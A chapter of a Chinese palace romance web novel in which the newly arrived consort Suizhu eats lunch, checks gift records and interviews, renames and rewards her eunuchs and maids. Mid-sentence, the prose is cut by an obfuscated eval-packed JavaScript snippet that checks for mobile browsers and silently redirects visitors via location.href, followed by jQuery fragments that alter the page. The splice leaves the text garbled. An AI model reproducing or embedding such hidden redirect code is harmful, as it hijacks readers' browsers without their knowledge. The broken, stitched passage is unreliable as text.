穗珠从承乾宫出来时,已是快午时末了,早膳赶着时辰没怎么吃饱。这一上午又是请安又是听训,她这会儿早饿得不行了。
头也晕,眼也花,穗珠蹙着眉头靠坐在暖轿里,麦苗看着心疼极了。
“起轿回吧。”麦苗赶紧让太监赶紧起轿回启祥宫,恰巧这时候在承乾宫的宫门口和太医院的人对上了,启祥宫里一个新来的太监一眼认出是太医院的王太医,专精小儿科,穗珠听后忙叫人停在一旁让路。
一路无事,终于是回了启祥宫。
午膳早就备好了,幸亏麦苗提前叫人看着时辰沏了一壶六安瓜片。
穗珠净了手,狠狠灌了两盏茶才将将解了渴,一上午转来转去,她才想起连茶都没喝上一口,这会儿一回来才发觉嗓子都快干冒烟了。
桌子有八宝鸭子、口蘑盐煎肉、什锦豆腐、清炒百合、一碟子槽鸭蛋加上一罐紫菜蛋花汤,穗珠叫麦苗几人都自去吃饭,跟着她一上午了也都都歇歇了。
她自己则就着荷叶饼,把桌子上的菜用了一大半,又叫了一碟子切成块的苹果和梨,人饿得急了,进食的动作虽算不上是狼吞虎咽,也着实称不上一句规矩。
得亏穗珠处于嫔位上,没有教养嬷嬷盯着,不然哪能如此畅快。
麦苗几个过来捡碟子和菜碗时还吓了一大跳,知道主子饿了,但这用的也太多了些。
那圆脸丫头推了推麦苗,朝她努了努嘴,麦苗立在圆桌边收拾着,看她眼色便转过头去。
看着眯眼半靠在靠枕上的主子,她摇了摇头小声道:“主子自有原因,我等奴才哪能问东问西的,别站着了,先收下去吧。”
圆脸丫头迟疑片刻便也跟着退下了。
麦苗虽不知主子怎么食量也大了起来,但她仔细看了看,觉着这宫中用的碗碟也忒小了点。
巴掌大的瓷碗,手心大的盅碗,主子正是长身体的时候,不多吃点怎么能成,况且家里的太太和大人早在进宫前便嘱咐过她,务必得伺候着主子吃好穿好睡好!
用了午膳,穗珠也不说歇息,叫人把礼册子都拿过来,这上头的人情往来万不能出了差错,宫里最重规矩,若是有了差池是要叫人笑话的,丢了脸面是要不得的。
又问了给各宫中的见礼都送好了没,启祥宫的首领太监名叫马得宝,人早候在外间廊下等着了,听了主子的问话忙低着头进来。
他一脸精明样,眼睛瞧着咕噜噜地转,就是有些太瘦了,脸颊两侧都凹陷进去了,进来就拍着胸脯说都照主子吩咐送过去了,回礼也一并带回了启祥宫。
包括启祥宫后配殿的两位答应,连带伺候答应的宫人们,该送的,该赏的,都安排好了。
一时又提起哪个宫里的主子、贵人、答应的,谁说了什么,何时说的,就连神情样子,他都一字一句说得是清清楚楚。
穗珠点点头,这个叫马得宝的太监,人精明不说,做事还很伶俐,她赏了他五两碎银子道:“你自己看着办吧。”喜的马得宝连连磕头。
看他喜不自胜的样子,穗珠想了想,还是招手让麦苗把启祥宫里的宫人叫过来。
依规矩,嫔位娘娘可有宫女六人,其中贴身大宫女两人,二等宫女两人,三等宫女两人。
如今穗珠依例带了一名大宫女进宫,内务府便只送了五名宫女过来。
东西十二宫,各宫均配了首领太监两人,小太监各十二人,算起来也是挺多了的。
可一分配下去就有些不够了。
因启祥宫里原本只西后配殿的两间屋子内住了两位答应,内务府便只支了首领太监马得宝和其他六个小太监进来,其中的两个小太监还是两位答应的例。
穗珠住进来前还内务府又送了一个首领太监和余下的六个小太监过来,这下算是补齐了。
这就是启祥宫现在所有的配置。
麦苗听了话赶紧出去叫人,主子昨日就晾着人,她冷眼看着,这些宫人心里也不安稳,在宫里生存还是得要主子赐名认可才行。
启祥宫正殿内
“奴才给戴佳嫔主子请安,主子吉祥。”
齐刷刷地跪了一地,乌泱泱的跪着叫人脑仁疼,穗珠赶紧点了点头叫起,“都起来吧。”
“谢主子。”底下跪着的宫女太监们齐齐站起来后都作低头状,也没人敢交头接耳打眼色。
要知道这可是皇上仅仅下令抬旗三天后,太皇太后就亲自指进来的嫔娘娘,这次独独指了她一人入宫,一入宫就是主位娘娘,惹了多少人眼热,如此,谁敢作践这位娘娘?
“都说说吧,家里是哪里的?叫什么名儿?年岁几何?进启祥宫前在哪里做事的?进来之后又负责哪里的?各宫里都认识谁?有无亲戚关系?都说个清清楚楚,主子心里好有个数,有什么不方便说的,下来后再禀报也不迟,只一点,谁要有隐瞒或者敢欺骗的,娘娘这刚进宫,可是不介意拿你亮亮招子的!”
麦苗站在穗珠身后,不容主子招呼她便瞬间领会。
她架势拿得足足的,这会儿绷着脸,下巴微微抬起,口齿清晰一字一句地发问,一连串话下来嘴巴一点都不打结,看着拿捏起来也是很能唬人的。
好丫头,穗珠很满意。
不过瞧瞧她这话怎么说的?亮什么招子?不知道的还以为她们真的有什么底气和手段呢?
她心头这样想,只面上不显,木着脸点了点头,“头抬起来都说说吧。”
最先站出来的自是头先进来的首领太监马得宝,满二十四岁了,进启祥宫也已经三年了。
穗珠一手撑着头,看他嘴皮子翻来翻去,利索得很。
她还没问呢,人就倒豆子似的噼里啪啦都倒了出来,她心里过了一遍后就有了计较,听人说完便挥手让人退后。
再来就是内务府刚送过来的首领太监,那个在承乾宫门口给她认人的太监。
人名叫李福,刚满十七周岁,外表看不出有什么特别,只当得上一句清秀,但言语中却透露出一副很沉稳的样子,麦苗问什么答什么,多的话是一句也没有,穗珠满意地点点头。
其他小太监自不必
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17567159|204800||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
多说,穗珠又招手让宫女们过来,一共五人,都梳着大辫子,绑着头绳,全身上下素净得很,看着都很守规矩。
麦苗捏着炭笔一一记好,看着主子的脸色,垂着脑袋轻声道:“主子可要赐名?”
穗珠挑了那个圆脸丫头,她看着就比较壮实,还和麦苗一样,脸和眼睛都圆圆的,她喜欢这样式的人,看起比较讨喜,说是十七岁了,叫二丫头,说是原本在膳房给后宫嫔妃们做炖品的。
“二丫头?就叫麦芽吧。”这除了二丫头就是什么妞,听着也是该换个名儿了。
已经被赐名叫麦芽的二丫头“嘭”的一声跪在青砖上,脑后的辫子都快飞起来了。
她日望夜盼,悬着的心终于落在了实处,膳房姑姑说了这是个好差,果真没骗人,麦芽露出右边的小酒窝,笑嘻嘻地朗声道:“谢主子赐名,主子吉祥。”
“嗯,起来吧。”
又赏了首领太监一人一个蓝色细布做的荷包,里头封了八两银子,大宫女两人,一人一个青色细布做的荷包,里头同样是封了八两银子。
其余的太监,包括给两位答应打扫跑腿的小太监们一人一个蓝色粗布做的荷包,里头封了四两银子。
四个宫女,便一人一个青色粗布做的荷包,里头也同样是封了四两银子。
除了这,穗珠又掏了银子,让给一人做一件冬衣,宫女们还一人加了一对没带纹的银镯子。
众人被这连连惊喜砸得头昏脑涨,紧绷这的心也渐渐松了下来,毕竟银子可不咬人还亲人,屋里的气氛也高涨了起来。
这才对嘛,有点活气,穗珠喜欢这样,她笑着点点头道:“我呢,没什么要求,只一点,伺候了我就得听我的,这启祥宫里的主子只有一位。往后的日子里,各位显了几分本事,当然有赏。没本事又要作乱的,我这启祥宫也留不住人。”
不管在哪伺候都是这个理,屋里众人听后便知道这位戴佳嫔娘娘是个明白人。
穗珠顿了顿,环视了一圈收起笑意,冷声又道:“若是有其他想法的呢,也可提早告诉了我,我绝不耽误你的前程,但你要有下作手法行下作之事,我也能送你进慎刑司,都可听清楚了?”
慎刑司有去无回,连个草席子都没有就被扔在乱葬岗上被野狗啃食,宫里谁要一说起这个地方就叫人起鸡皮疙瘩。
“回主子的话,都听清楚了。”
不要看穗珠才进宫,就这冷傲淡漠的外表也能镇住人,众人心里看不出,但是面上都很忠心。
很好,穗珠要的就是这个效果,至少没闹到她脸上来,她扬声道:“很好,麦苗。”
“是。”麦苗把写好的纸张拿过来,上面详细地记录了穗珠刚刚所说的话,还有每个人的来历、名字,叫每个人都排成队按了手印,又收进荷包里仔细捡好,这一溜儿的事才将将做完。
这可新奇了,宫里娘娘进宫也都只是叫人过去说说话,立了规矩便罢了。
怎么戴佳嫔娘娘这里还有这些?看着那红得亮眼的手印,冯得宝心里有些发怵。